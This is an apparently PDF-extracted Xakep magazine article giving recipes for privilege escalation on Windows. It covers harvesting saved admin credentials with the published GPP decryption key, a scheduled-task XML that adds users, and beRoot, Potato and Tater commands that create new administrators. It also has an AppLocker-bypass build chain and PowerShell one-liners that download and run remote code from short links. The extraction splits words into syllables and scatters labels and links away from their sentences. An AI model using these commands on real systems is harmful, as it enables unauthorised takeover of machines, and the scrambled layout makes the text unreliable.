
ИДЕМ
НА ПОВЫШЕНИЕ
РЕЦЕПТЫ ПОДНЯТИЯ ПРИВИЛЕГИЙ
ПОД WINDOWS

Антон Жуков
Редактор рубрики «ВЗЛОМ»

zhukov@glc.ru

ВЗЛОМ

Од на из наибо лее час тых рекомен даций по безопас ности —
это запус кать при ложе ния и сер висы под уре зан ной учет кой.
Пол ностью проб лемы безопас ности это не реша ет, но жизнь
ата кующе му  осложнить  может.  Таким  обра зом,  что  бы  ты
ни  ломал/пен тестил:  домен  Active  Directory,  машину,
на которой хос тится сайт, — перед тобой поч ти обя затель но
вста нет  задача под нятия  сво их  при виле гий. От ее решения
будет  зависеть,  смо жешь  ли  ты  прод винуть ся  даль ше
или  нет.  Сегод ня  мы  пос тара емся  рас смот реть  всё  (ну
или поч ти всё), что каса ется прод вижения вверх в Windows‐
сис темах.

WARNING

Вся  информа ция  носит  толь ко  озна коми тель ный
харак тер. Ни автор, ни редак ция не несут ответс‐ 
твен ности за ее ненад лежащее исполь зование.

FLASHBACK
Те ма повыше ния при виле гий далеко не нова,  но  тем не менее  всег да  акту‐ 
аль на.  Нес коль ко  лет  назад  мы  уже    на  стра ницах  жур нала.
Какой‐то револю ции в этой области с того вре мени не про изош ло, но некото‐ 
рые новые тех ники и инс тру мен ты все же появи лись. Поэто му будем дер жать
руку  на  пуль се и  все под робно раз берем.  Где‐то  нем ного  что‐то  пов торим,
но, как говорит ся, пов торение — мать уче ния.

го вори ли  о  ней

1. СОХРАНЕННЫЕ CREDENTIALS
По жалуй, самый лег кий спо соб под нять при виле гии, к которо му сто ит при бег‐ 
нуть в пер вую оче редь, — это поис кать в сис теме сох ранен ные учет ные дан‐ 
ные  админ ско го  акка унта.  Самое  прос тое —  это  фай лы,  оставши еся  пос ле
авто мати чес кой  уста нов ки  (unattended  installation).  Обще извес тно,  что
человек  —  сущес тво  ленивое,  поэто му  сис темные  адми нис тра торы  будут
пытать ся авто мати зиро вать уста нов ку соф та, и тог да в сис теме мож но обна‐ 
ружить фай лы:

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

В  них  в  откры том  виде  или  закоди рован ные  в  Base 64  будут  лежать  пароли
адми нис тра тора.  Кста ти,  в  Metasploit  есть  модуль,  поз воля ющий  авто мати‐ 
зиро вать поиск, —  .post/windows/gather/enum_unattend

Ес ли на машине уста нов лен IIS, то нелиш ним будет про верить фай лы

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

в которых так же может при сутс тво вать пароль адми нис тра тора в plaintext.

2. GROUP POLICY PREFERENCES
Еще  есть  вари ант  с  нас трой ками  груп повой  полити ки  безопас ности.  Файл

, содер жащий пароль, обыч но закеши рован локаль но, или он лег‐ 
ко может быть получен с  кон трол лера домена,  так  как  каж дый поль зователь
домена име ет  к  нему дос туп  на  чте ние. Пароль  хра нит ся  в  зашиф рован ном
виде,  но  Microsoft  опуб ликова ла  ключ,  поэто му  он  может  быть  лег ко  рас‐ 
шифро ван.  В  слу чае  локаль ной  машины  про веря ем  наличие фай ла  по  сле‐ 
дующе му пути:

Groups.xml

C:\ProgramData\Microsoft\Group Policy\History\*\Machine\Preferences\
Groups\Groups.xml

Для кон трол лера домена:

\\????\SYSVOL\\Policies\????\MACHINE\Preferences\Groups\Groups.xml

В пос леднем слу чае вмес то   ука зыва ем имя домена. Для тех, кому инте‐ 
рес но, 32‐бит ный AES‐ключ выг лядит сле дующим обра зом:

????

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Но что бы самос тоятель но не замора чивать ся с рас шифров кой пароля, мож‐ 
но  вос поль зовать ся  модулем  Metasploit 

. Или же PowerSploit:
post/windows/gather/creden‐

tials/gpp

Get‐CachedGPPPassword // Для локальных файлов групповой политики
Get‐GPPPassword // Для файлов групповой политики, сохраненных на 
котроллере домена 

Под робнее о том, как вытас кивать пароли из груп повой полити ки, мож но пос‐ 
мотреть   и  .тут тут

3. TASKSCHD.MSC
Во вре мена Windows XP был инте рес ный при ем под нять при виле гии до сис‐ 
темных. Про вора чивал ся он прос то:

at 14:50 /interactive command

Прав да, для запус ка ути литы   тре бова лись адми нис тра тив ные при виле гии,
поэто му  мож но  было  повысить ся  толь ко  от  адми нис тра тора  до 

. Но ока зыва ется,  что вре мена пла ниров щика  задач еще далеко
не прош ли. Если выпол нить в кон соли коман ду  ,  то мож но  уви деть
спи сок локаль ных поль зовате лей. С помощью дан ной коман ды мож но так же
добавить локаль ного поль зовате ля (если есть соот ветс тву ющие при виле гии):

at
NT‐AUTHOR‐

ITY\SYSTEM
net user

net user USERNAME PASSWORD /add

Од нако  если  выпол нить  коман ду  от  име ни  обыч ного  поль зовате ля,  то
получим в ответ сис темную ошиб ку 5, или, про ще говоря, «дос туп зап рещен».
В  такой  ситу ации  нам  поможет  воз можность  импорти ровать  тас ки  в  пла‐ 
ниров щик  задач.  Каж дую  задачу  мож но  опи сать  в  виде  XML‐фай ла  (под‐ 
робнее о его фор мате мож но почитать на  ). Готовый файл
будет выг лядеть сле дующим обра зом:

сай те мел комяг ких

<?xml version="1.0" encoding="UTF‐16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/
02/mit/task">
  <RegistrationInfo>
    <Date>1337‐01‐01T13:37:07.9601296</Date>
    <Author>NT AUTHORITY\SYSTEM</Author>
  </RegistrationInfo>
  <Triggers />
  <Principals>
    <Principal id="Author">
      <UserId>PCNAME\USERNAME</UserId>
      <LogonType>S4U</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
    <RestartOnFailure>
      <Interval>PT1M</Interval>
      <Count>3</Count>
    </RestartOnFailure>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%USERPROFILE%\Desktop\EXPLOIT.JS</Command>
    </Exec>
  </Actions>
</Task>  

Под робнее  о  каж дом  из  парамет ров  мож но  будет  почитать  .  Для  нас
наиболь ший  инте рес  пред став ляют    —  тот,
от  име ни  кого  будет  зарегис три рова но  задание,  а  так же 

 —  от  име ни  кого  оно  будет  запуще но.  Здесь  мы  ука‐ 
зыва ем  нашего  неп ривиле гиро ван ного  поль зовате ля.  Ну  и  самое  инте рес‐ 
ное —  , который опре деля ет, что будет запуще но. В дан ном
слу чае это JS‐скрипт  , лежащий на рабочем сто ле поль зовате ля.
Содер жание  это го  скрип та  огра ничи вает ся  толь ко  тво ей фан тази ей. Самый
баналь ный при мер — добав ление нового поль зовате ля:

тут
<RegistrationInfo><Author>

<Principals><
Principal><UserId>

<Actions><Exec>
EXPLOIT.JS

suidshell = WScript.CreateObject("WScript.Shell");
suidshell.run("cmd.exe /c net user TEST TESTPWD /add", 0);

Те перь  запус каем  ,  выбира ем  «Импорти ровать  задание…»,
выбира ем  наш файл  и  нажима ем  «Запус тить».  Если  пос ле  это го  выпол нить
в  кон соли  ,  то  мож но  уви деть,  что  добавил ся  новый  поль зователь
TEST. Как вари ант, мож но модифи циро вать JS‐скрипт и не толь ко соз давать
нового поль зовате ля, но и сра зу же добав лять его в груп пу адми нис тра торов
(или же никого не соз давать, а добав лять в адми ны текуще го поль зовате ля).
Коман да для это го выг лядит сле дующим обра зом:

taskschd.msc

net user

net localgroup administrators [username] /add

4. BEROOT
Боль шинс тво  спо собов  под нятия  при виле гий  свя заны  с  ошиб ками  в  кон‐ 
фигура ции уста нов ленно го ПО, будь то путь к исполня емо му фай лу сер виса,
не обрамлен ный кавыч ками и содер жащий про бел (такая ситу ация доволь но
инте рес но  обра баты вает ся  вин дой),  или  же  невер но  выс тавлен ные  пра ва
на дирек торию с при ложе нием. Человек — сущес тво ленивое и  каж дый раз
все это про верять вруч ную не захочет. Поэто му рано или поз дно дол жен был
появить ся инс тру мент, поз воля ющий авто мати зиро вать эту рутину.

Итак, что же   уме ет находить? Для начала те самые пути с про бела‐ 
ми, не обрамлен ные кавыч ками:  .
Если ты про шел по ссыл ке и осве жил в памяти теорию, то можешь знать, что
в дан ном слу чае вин да будет пытать ся най ти и запус тить файл в сле дующем
поряд ке:

BeRoot
C:\Program Files\Some Test\binary.exe

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\binary.exe

Со ответс твен но,  если    выпол няет ся  с  повышен ными  при виле‐ 
гиями и у тебя будет воз можность раз местить на дис ке   файл  ,
то вмес то исходно го бинар ника вин да выпол нит твой, что под нимет твои при‐ 
виле гии в сис теме.

binary.exe
C Program.exe

Да лее,  про веря ются  инте рес ные  дирек тории,  куда  мы  можем  что‐либо
записать.  Эти  инте рес ные  дирек тории  сос тавля ются  из  путей  до  исполня‐ 
емых  фай лов  сер висов,  зап ланиро ван ных  заданий,  клю чей  авто заг рузки
(HKLM).

Сле дующим  эта пом  про веря ется  перемен ная  окру жения  ,
не  содер жит  ли  она  дирек торий,  дос тупных  для  записи.  Если  так,  то  на ОС
от Vista  до Windows Server  2012 мож но будет  выпол нить DLL Hijacking  (под‐ 
смот реть, как это сде лать, мож но на офи циаль ной стра нице про екта).

%PATH%

По мимо  толь ко  поис ка  уяз вимых  мест,  BeRoot  пре дос тавля ет  воз‐ 
можность  про экс плу ати ровать  уяз вимость  MS16‐075  (если  она  есть).  Стан‐ 
дар тный  трюк  с  добав лени ем  сво его  адми на  будет  выг лядеть  сле дующим
обра зом:

beRoot.exe ‐c "net user Xakep Megapasswd /add"
beRoot.exe ‐c "net localgroup Administrators Xakep /add"

Что  бы  еще  про верить?  Ключ  реес тра  ,  поз воля‐ 
ющий обыч ным поль зовате лям запус кать на уста нов ку MSI‐фай лы с повышен‐ 
ными  при виле гиями.  Если  эта  опция  вклю чена,  соз давай  свой  MSI‐пакет
и получай пол ный кон троль.

AlwaysInstallElevated

Так же  про веря ются  фай лы,  оставши еся  от  Unattended  Install,  которые
могут хра нить дан ные админ ской учет ки. Ну и на вся кий слу чай про веря ются
такие  экзо тичес кие  вещи,  как  дос тупность  сер виса  для  модифи кации,  воз‐ 
можность  соз дания  нового  сер виса,  воз можность  соз дания  клю ча  авто заг‐ 
рузки в HKLM, а так же воз можность записи в дирек торию, где хра нят ся зап‐ 
ланиро ван ные задания.

BeRoot нашел нес коль ко дос тупных для записи дирек торий, ука зан ных
в перемен ной окру жения PATH

https://goo.gl/fGBPPP
https://goo.gl/qFifq4
https://goo.gl/6moFqT
https://goo.gl/EZZ81x
https://goo.gl/F8Zz3n
https://goo.gl/fjEEMx
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5. SHERLOCK
В любой опе раци онной сис теме при сутс тву ют уяз вимос ти, которые пери оди‐ 
чес ки  находят,  а  потом  пат чат.  :)  Пожалуй,  самый  прос той  вари ант  под нять
свои при виле гии — это про верить, уяз вима ли иссле дуемая сис тема к одно‐ 
му из дос тупных в паб лике спло итов. Ком пилиро вать и запус кать все по оче‐ 
реди? Не наш метод, мы ведь зна ем (или можем узнать), какой патч зак рыва‐ 
ет  ту или иную уяз вимость, прос то про верим наличие его уста нов ки. И если
security‐апдейт  не  уста нов лен,  то  нам  повез ло.  Такой  про вер кой  как  раз
и  занима ется  PowerShell‐скрипт  .  На  текущий момент  он  про веря ет
наличие уста нов ленных пат чей для сле дующих уяз вимос тей:

Sherlock

MS 10‐015 : User Mode to Ring (KiTrap 0D)•
MS 10‐092 : Task Scheduler•
MS 13‐053 : NTUserMessageCall Win 32k Kernel Pool Overflow•
MS 13‐081 : TrackPopupMenuEx Win 32k NULL Page•
MS 14‐058 : TrackPopupMenu Win 32k Null Pointer Dereference•
MS 15‐051 : ClientCopyImage Win 32k•
MS 15‐078 : Font Driver Buffer Overflow•
MS 16‐016 : 'mrxdav.sys' WebDAV•
MS 16‐032 : Secondary Logon Handle•

Ес ли  что‐то  из  это го  не  про пат чено,  можешь  сме ло  качать  спло ит,  ком‐ 
пилиро вать  и  ждать  успе ха.  Работос пособ ность  скрип та  про тес тирова на
на сле дующих сис темах: Windows 7 SP1 32‐bit, Windows 7 SP1 64‐bit, Windows
8 64‐bit, Windows 10 64‐bit. Так, на тес товой машине с Windows 7 x64 на бор ту
«Шер лок» выдал сле дующую свод ку:

Шер лок Холмс за поис ком неп ропат ченных уяз вимос тей

Как ока залось, машина неус той чива к уяз вимос ти Secondary Logon Handle (ну
и еще нес коль ким в при дачу), о которой читай далее. Ну и сто ит отме тить, что
непос редс твен но  в  вин де  для  про вер ки  дос таточ но  запус тить  PowerShell
и выпол нить  .import‐module .\Sherlock.ps1

В  слу чае  если  у  тебя meterpreter‐сес сия  до Win‐машины,  то  под гру жаем
PowerShell‐рас ширение,  импорти руем  «Шер лока»  и  вызыва ем  про цеду ру
про вер ки:

meterpreter > load powershell
meterpreter > powershell_import Sherlock.ps1
meterpreter > powershell_execute "find‐allvulns" 

6. WINDOWS-PRIVESC-CHECK
,  раз работан ный  коман дой  pentestmonkey.  Дела ет  кучу  «гряз ной

работы» — ста рает ся най ти  типич ные ошиб ки  кон фигура ции,  которые могут
поз волить  обыч ным  поль зовате лям  повысить  свои  при виле гии.  Изна чаль но
написан на Python,  но пос тавля ется  так же в  виде отдель ного исполня емо го
фай ла  (соб ранно го  с  помощью  pyinstaller),  для  того  что бы  его  мож но  было
прос то запус тить на уда лен ной машине, а не тащить на нее пред варитель но
питон и все осталь ные зависи мос ти.

Инс тру мент

Су щес тву ет два вари анта исполь зования. Пер вый — ког да у нас есть акка‐ 
унт с пра вами адми нис тра тора и мы хотим про качать их до сис темных. Вто‐ 
рой — ког да у нас акка унт с огра ничен ными при виле гиями и мы хотим най ти
спо соб  рас ширить  их. Для  того  что бы  поп росить  прог рамму  най ти  все  воз‐ 
можные ошиб ки кон фигура ции, надо ввес ти:

windows‐privesc‐check2.exe ‐‐audit ‐a ‐o report

В резуль тате получим под робный отчет сле дующе го вида:

Де таль ный отчет, пос тро енный windows‐privesc‐check

При этом ути лита про верит прак тичес ки все воз можные вари анты: перемен‐ 
ные  окру жения,  сер висы  с  некор рек тны ми  пра вами  дос тупа,  зап ланиро ван‐ 
ные задания, дос тупные для записи клю чи реес тра и про чее. Если надо огра‐ 
ничить  поиск  толь ко  какой‐то  одной  катего рией  (нап ример,  поиск  уяз вимых
сер висов), то мож но исполь зовать соот ветс тву ющий ключ. Спи сок всех дос‐ 
тупных  опций  мож но  пос мотреть  с  помощью  клю ча  ,  нап ример
для сер висов это будет  .

‐‐help
‐S

7. HOT POTATO
Из вестен  так же  как  прос то  .  Очень  инте рес ный  инс тру мент.  Неор‐ 
динар ность  это го инс тру мен та  зак люча ется  в  том,  что для дос тижения цели
он исполь зует связ ку из трех атак: NBNS‐спу финг → WPAD‐прок си → HTTP‐ 
2SMB‐релей. Спу финг осу щест вля ется для того, что бы перенап равить жер тву
(то есть локаль ный компь ютер) на под кон троль ный ата кующе му WPAD‐прок‐ 
си‐сер вер.  В  нашем  слу чае  он  так же  будет  рас полагать ся  на  локаль ной
машине по адре су  . Фиш ка в том, что IE‐шка по дефол ту будет
авто мати чес ки  пытать ся  опре делить  сетевые  нас трой ки,  про буя  обра тить ся
по адре су  . Что наибо лее инте рес но для нас — так же
пос тупа ют  и  некото рые  служ бы  Windows,  нап ример  Windows  Update.  Ну
а далее в дело всту пает HTTP 2SMB‐релей. Прок си будет перенап равлять все
зап росы на некий уни каль ный URL, попут но зап рашивая NTLM‐аутен тифика‐ 
цию. Получен ные  учет ные  дан ные будут  переда вать ся  на  локаль ный  дефол‐ 
тный  SMB‐лис тенер  для  соз дания  нового  сис темно го  сер виса,  который
и  будет  выпол нять  наши  коман ды.  Таким  обра зом,  при  получе нии  зап роса
от при виле гиро ван ного сер виса (Windows Update) коман ды будут выпол нять‐ 
ся  с  уров нем  .  Это  что  каса ется  прин ципов  работы.
Теперь о  прак тике.  А  прак тика будет  раз делена  на  две  час ти:  на  «семер ке»
все дос таточ но прос то, все, что стар ше, — уже не так лег ко. Итак, в Windows
7  нам  поможет  сле дующая  коман да,  запущен ная  от  обыч ного  неп ривиле‐ 
гиро ван ного поль зовате ля:

Potato

127.0.0.1:80

http://wpad/wpad.dat

NT  AUTORITY\SYSTEM

Potato.exe ‐ip ‐cmd [command] ‐disable_exhaust true

В  качес тве  зна чения  парамет ра  cmd  может  быть  все  что  угод но,  нап ример
коман да вида

C:\\Windows\\System32\\cmd.exe /K net localgroup administrators 
USERNAME /add

Кста ти, если в Сети есть реаль ная DNS‐запись для WPAD, то надо будет ука‐ 
зать опцию  .disable_exhaust false

В слу чае с более све жими вер сиями вин ды ситу ация нес коль ко усложня‐ 
ется  —  в  них  ни  Defender,  ни  Update‐сер висы  уже  не  будут  обра щать ся
к WPAD‐сер веру. Одна ко там есть такая шту ка, как авто мати чес кое обновле‐ 
ние отоз ванных сер тифика тов, — све жие вер сии Windows по умол чанию раз
в день ска чива ют спис ки доверен ных сер тифика тов. Она как раз исполь зует
WPAD. Коман да будет выг лядеть сле дующим обра зом:

Potato.exe ‐ip ‐cmd [command] ‐disable_exhaust true ‐disable_defender
 true

Так как ска чива ние про исхо дит раз в день, то, воз можно, при дет ся подож дать
какое‐то  вре мя  (мак симум  24  часа).  Поэто му  спо соб  ско рее  для  тех,  кто
не торопит ся.

8. SMASHED POTATO
 — это модифи циро ван ная вер сия Hot Potato, рас смот ренно‐ 

го выше. Итак, каковы же основные изме нения?
Smashed Potato

Все .NET‐сбор ки смер жены в одну сбор ку, которая пре обра зова на в мас‐ 
сив бай тов ( ) — да‐да, Potato писан на шар пе.

•
Byte[]

За пуск сбор ки Potato из памяти.•
Вклю чен метод обхо да AppLocker с помощью InstallUtil.•
До бав лена некото рая авто мати зация.•

Инс тру мент пос тавля ется с откры тым исходным кодом, поэто му,  что бы соб‐ 
рать его, надо будет выпол нить сле дующее. Под 32‐раз рядные сис темы:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
csc.exe  /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86 "C:\Utils
\SmashedPotato.cs"

Для 64‐раз рядных:

cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe  /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64 "C:\Utils
\SmashedPotato.cs"

Да лее,  для  того  что бы  запус тить  инс тру мент  с  обхо дом  AppLoсker,  нуж но
выпол нить сле дующее:

cd \Windows\Microsoft.NET\Framework\v4.0.30319
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\Smashe
dPotatoX86.exe

Это для 32‐раз рядных, как будет выг лядеть для x64, я думаю, ты уже догадал‐ 
ся.  Кста ти,  вот  однос троч ный  PowerShell‐скрипт,  который  выпол нит  все
перечис ленные дей ствия для x64‐машины:

powershell ‐ExecutionPolicy Bypass ‐noLogo ‐Command (new‐object 
System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp%\
SmashedPotato.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* &
& csc.exe  /out:"%temp%\SmashedPotatoX64.exe" /platform:x64 "%temp%\
SmashedPotato.cs" && InstallUtil.exe /logfile= /LogToConsole=false /U
 %temp%\SmashedPotatoX64.exe

9. TATER
Ну  а  что  делать,  если  на  машине  не  уста нов лен  .NET  Framework?  Вос поль‐ 
зовать ся  PowerShell‐вер сией Hot  Potato —  ,  которая  сра зу  заг ружа ется
в  память  и  не  оставля ет  сле дов  на  дис ке!  Запус тить  ути литу  мож но  в  одну
стро ку:

Tater

powershell "IEX (New‐Object Net.WebClient).DownloadString('http://is.
gd/fVC1Yd'); Invoke‐Tater ‐Trigger 1 ‐Command ""net user User1 Passwo
rd1 /add && net localgroup administrators User1 /add"""

Пос ле  чего  в  сис теме  появит ся  поль зователь    с  паролем  ,
вхо дящий  в  груп пу  адми нис тра торов.  Но  надо  отме тить,  что  для  Windows
10 сле дует исполь зовать ключ  .

User1 Password1

‐Trigger 2

Ком пиляция спло итов в Kali
Бес спор но,  основной  опе раци онной  сис темой  для  про веде ния  пен теста/
взло ма слу жит Linux, под него реали зова на куча инс тру мен тов, да и вооб ще
мало  кто  лома ет  из‐под  вин ды.  И  с  ним  все  прек расно  по  дефол ту,  пока
не надо ском пилиро вать спло ит под вин ду (в нашем слу чае для под нятия при‐ 
виле гий). Исправ ляет ся такой недос таток уста нов кой Mingw‐w64:

apt‐get update
apt‐get install mingw‐w64

Даль ше все прос то, кача ем спло ит и ком пилиру ем:

wget ‐‐output‐document= 40564.c https://www.exploit‐db.com/download/
40564
i686‐w64‐mingw32‐gcc 40564.c –o exploit.exe –lws2_32 

10. EASYSYSTEM
Ес ли  локаль ный  админ  у  тебя  уже  есть  и  воп рос  зак люча ется  толь ко  в  том,
как дотянуть ся до сис темы, то мож но взгля нуть в сто рону неболь шой ути лит ки

. Как пишет сам автор ути литы, это никакой не экс пло ит, а «ста рый
и гряз ный» при ем с имперсо наци ей име нован ных каналов. В некото рых ситу‐ 
ациях такой инс тру мент может при годить ся. На тех ничес ких деталях мы под‐ 
робно оста нав ливать ся не будем, если тебе инте рес но, то можешь почитать
под робнее про дан ную тех нику   и  .

EasySystem

тут тут

EasySystem и име нован ные каналы дару ют NT AUTHORITY\SYSTEM

11. SECONDARY LOGON HANDLE
Еще  один  инте рес ный  трюк  свя зан  с  исполь зовани ем  служ бы  «Вто рич ный
вход в сис тему». Дан ная служ ба поз воля ет запус кать прог раммы, кон соли Mi‐
crosoft  Management,  эле мен ты  кон троль ной  панели  от  име ни  адми нис тра‐ 
тора,  даже  если  текущий  поль зователь  при над лежит  все го  лишь  к  груп пе
Users  или  Power  Users.  Суть  в  том,  что  дан ный  сер вис  не  очи щает  хен длы
при соз дании новых про цес сов. Что для нас важ но — дан ной уяз вимос ти под‐ 
верже ны поч ти все вер сии Windows (x32 и x64): начиная с Vista и закан чивая
Windows 2012 Server. Но есть и огра ниче ния: для успешно го повыше ния при‐ 
виле гий в сис теме дол жен быть уста нов лен PowerShell 2.0 или выше, а так же
при сутс тво вать два и более CPU‐ядер. В Metasploit Framework есть спе циаль‐ 
ный модуль 

. Его исполь зование под разуме вает,  что у нас уже есть meterpreter‐
сес сия, которую мы и дол жны ука зать в парамет рах:  . Ну и в
слу чае успешной экс плу ата ции у нас появит ся еще одна сес сия, с повышен‐ 
ными при виле гиями.

exploit/windows/local/ms16_032_secondary_logon_handle_‐
privesc

set SESSION 1

Для  этой  же  уяз вимос ти  есть  и  ,  запус кающий  коман‐ 
дную  обо лоч ку  с  пра вами  сис темы.  А  так же  ,
выпол няющий то же самое.

PowerShell‐скрипт
ском пилиро ван ный  бинар ник

Кста ти  говоря,  Microsoft  выпус тила  патч,  поэто му  преж де,  чем  пытать ся
под нять при виле гии, про верь, не уста нов лен ли он:

C:\Users\pentestlab>wmic qfe list | find "3139914"

WWW

В качес тве домаш него задания при веду тебе нес‐ 
коль ко  ссы лок  для  озна ком ления,  которые  тоже
могут быть полез ны:

  о  том,  как  с  помощью  неог раничен‐ 
ного  делеги рова ния  Kerberos  получить  пра ва
адми на домена;

•ма тери ал

;
•как  с  помощью  PowerShell  най ти  адми нис тра‐ 
тора домена в Сети

 с кон ферен ции HITB, пос вящен ные воп‐ 
росам под нятия при виле гий в Windows.

•слай ды

ЗАКЛЮЧЕНИЕ
Как  бы  я  ни  ста рал ся  вмес тить  в  одну  статью  все  воз можные  вари анты
повыше ния  при виле гий,  это  вряд  ли  получит ся,  ну  или  статья  раз растет ся
до  гигант ских раз меров и ста нет  тебе неин терес на. Поэто му приш ло вре мя
зак руглять ся.  :) Как всег да,  уни вер саль ного рецеп та  тут не сущес тву ет, зато
теперь ты зна ешь раз личные вари анты, которые можешь при менять в зависи‐ 
мос ти от ситу ации. Так что дер зай и до новых встреч!

https://goo.gl/KkiWKX
https://goo.gl/cG5g3i
https://goo.gl/fyGHqE
https://goo.gl/trWJDu
https://goo.gl/oMc1wD
https://goo.gl/JPWuBW
https://goo.gl/LMsrk6
https://goo.gl/RLdYZ2
https://goo.gl/14Niy8
https://goo.gl/7FbFQ5
https://goo.gl/XCDSSu
https://goo.gl/HPDqG4
https://goo.gl/W6vQ4h

